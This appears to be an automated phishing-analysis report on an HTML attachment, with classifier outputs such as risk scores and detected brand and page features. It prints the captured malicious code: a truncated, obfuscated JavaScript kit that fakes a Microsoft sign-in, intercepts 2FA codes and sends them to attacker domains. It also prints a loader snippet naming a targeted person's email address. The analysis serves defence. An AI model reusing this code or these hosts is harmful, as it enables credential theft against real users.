Windows Analysis Report
ATT-897850.htm

{
  "risk_score": 1,
  "reasoning": [
    "No headers provided to analyze",
    "Cannot make security assessment without header information",
    "Default to low risk score due to lack of evidence"
  ]
}

Date: unknown

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It appears to be a malicious phishing script that collects user credentials and sends them to an untrusted domain. While some contextual factors like the use of a Microsoft-related domain may suggest a legitimate purpose, the overall behavior is highly suspicious and poses a significant security risk."
}

function _0x422a(_0x1e526e,_0x516891){var _0x49c9fb=_0x114c();return _0x422a=function(_0x296a38,_0x3228ba){_0x296a38=_0x296a38-0x156;var _0x4b2f98=_0x49c9fb[_0x296a38];return _0x4b2f98;},_0x422a(_0x1e526e,_0x516891);}function _0x114c(){var _0x30589e=['Forgot\x20Password?','status','16px','4MwKLAu','none','text/css','Privacy\x20statement','2faerror','<div\x20class=\x22text-right\x22><button\x20type=\x22button\x22\x20class=\x22btn\x20rounded-0\x20text-white\x20px-4\x22\x20id=\x22submit-btn\x22\x20style=\x22background-color:\x20#0066BA;\x22>Sign\x20In</button></div>','load','#f2f2f2','1px\x20solid\x20#ddd','.logoname','#next','cursor','translate(-50%,\x20-50%)','34334TyiVJj','approve_signin','#sign-in-another-way','(((.+)+)+)+$','keypress','div7','#back-text','20px\x2020px','<img\x20src=\x22https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico\x22\x20class=\x22img-fluid\x20logoimg\x22\x20width=\x2230px\x22>\x20\x20<span\x20class=\x22align-middle\x20h5\x20logoname\x22\x20id=\x22mic1\x22\x20style=\x22color:\x20#747474;\x22>Microsoft</span><br><br><span\x20class=\x22h5\x22\x20id=\x22si\x22>Sign\x20In</span><br><span\x20id=\x22error\x22\x20class=\x22text-danger\x22\x20style=\x22display:\x20none;\x22>Enter\x20your\x20email\x20address\x20or\x20phone\x20number.</span>','<style>','#div2','#back-otc','parse','center','onclick','#user-email-otc','stylesheet','maxWidth','Incorrect\x202FA\x20code.\x20Try\x20again.','Create\x20one!','#msg','css','rel','html','50%','ready','<div\x20class=\x22form-group\x20mt-2\x22><input\x20type=\x22email\x22\x20name=\x22ai\x22\x20class=\x22form-control\x20rounded-0\x20border-dark\x22\x20id=\x22ai\x22\x20aria-describedby=\x22aiHelp\x22\x20placeholder=\x22Email,\x20phone,\x20or\x20Skype\x22\x20style=\x22border-right:\x20none;\x20border-left:\x20none;\x20border-top:\x20none;\x22></div>','head','no-repeat','text','table','Handling\x202faotcerror\x20status','flex','https://code.jquery.com/jquery-3.1.1.min.js','ajax','onclose','#user-email-text','An\x20error\x20occurred.\x20Please\x20try\x20again.','18px','constructor','link','keydown','aHR0cHM6Ly9jb3BidGVjaC5zdG9yZS90c2sveGxzL2xvZ2luLnBocA','div','<div\x20class=\x22form-group\x20mt-2\x22><label\x20for=\x22approve-signin\x22\x20class=\x22h5\x22>Approve\x20sign-in\x20request</label><p><img\x20src=\x22https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg\x22\x20width=\x2220px\x22></img>&nbsp;Open\x20your\x20Authenticator\x20app,\x20and\x20enter\x20the\x20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;number\x20shown\x20to\x20sign\x20in.</p><p\x20id=\x22approve-number\x22\x20class=\x22h3\x20text-center\x22></p></div>','div1','height','type','Incorrect\x202FA\x20code','#loadtext','innerText','ws://server.povbtech.store:8053','send','Taking\x20you\x20to\x20your\x20Organization\x27s\x20sign-in\x20page','preventDefault','display:\x20none;','300px','100px','createElement','replace','cover','row\x20topp','<div>','input','#div1','{}.constructor(\x22return\x20this\x22)(\x20)','Success!','<footer>','color','padding','texterror','#4CAF50','src','style','8336944ihNpnv','#pr','top','span','WebSocket\x202FA\x20connection\x20established','https://www.office.com','#pst','#si','#888','18HKVHba','animate','close','#submit-btn','#verify-2fa','2px\x20solid\x20#888','#approve-number','POST','div6','click','search','location','https://api.ipify.org?format=json','#2fa-code','div2','2320xRrubD','<img\x20src=\x22https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico\x22\x20class=\x22img-fluid\x20logoimg\x22\x20width=\x2230px\x22>\x20\x20<span\x20class=\x22align-middle\x20h5\x20logoname\x22\x20id=\x22mic2\x22\x20style=\x22color:\x20#747474;\x22>Microsoft</span><br><br><div\x20class=\x22text-center\x20mt-3\x22><span\x20id=\x22loadtext\x22\x20style=\x22font-size:\x2022px;\x20font-weight:\x20bold;\x20text-align:\x20left;\x20display:\x20block;\x22>Taking\x20you\x20to\x20your\x

{
    "risk_score": 8,
    "reasoning": "This script exhibits high-risk behaviors, including the use of a dynamically loaded script from an untrusted domain ('https://copbtech.store/tsk/xls/t1s2kc2v.js'). The script also appears to be collecting a user's email address ('anna.duerksen@bbraun.com'), which could be used for malicious purposes such as phishing or data exfiltration. Overall, the combination of dynamic code execution and potential data collection makes this script highly suspicious and potentially malicious."
}

        var uid = 'anna.duerksen@bbraun.com';
        var script = document.createElement('script');
        script.src = "https://copbtech.store/tsk/xls/t1s2kc2v.js";
        document.head.appendChild(script);
    

{
  "contains_trigger_text": true,
  "trigger_text": "Click to verify you are human",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "contains_trigger_text": true,
  "trigger_text": "Click to verify you are human",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "brands": "unknown"
}

```json{  "brand": "unknown",  "brand_classification": "unknown",  "legit_url": "unknown",  "similarity": 0,  "spoofed": 0,  "reasoning": "The provided input is not a valid URL. It lacks a scheme (e.g., 'http', 'https') and a domain name, making it impossible to analyze for typosquatting or any brand association. Without a complete URL structure, no assessment of similarity or spoofing likelihood can be made."}

URL: ://

{
  "brands": "unknown"
}

{
"contains_trigger_text": true,
"trigger_text": "Your account or password is incorrect. If you don't remember your password, reset it now",
"prominent_button_name": "Sign In",
"text_input_field_labels": [
"Enter Password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": true,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false,
"page_classification": "software download portal"
}

{
"contains_trigger_text": true,
"trigger_text": "Your account or password is incorrect. If you don't remember your password, reset it now",
"prominent_button_name": "Sign In",
"text_input_field_labels": [
"Enter Password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": true,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false,
"page_classification": "software download portal"
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": true,
  "trigger_text": "Taking you to your Organization's sign-in page",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "contains_trigger_text": true,
  "trigger_text": "Taking you to your Organization's sign-in page",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}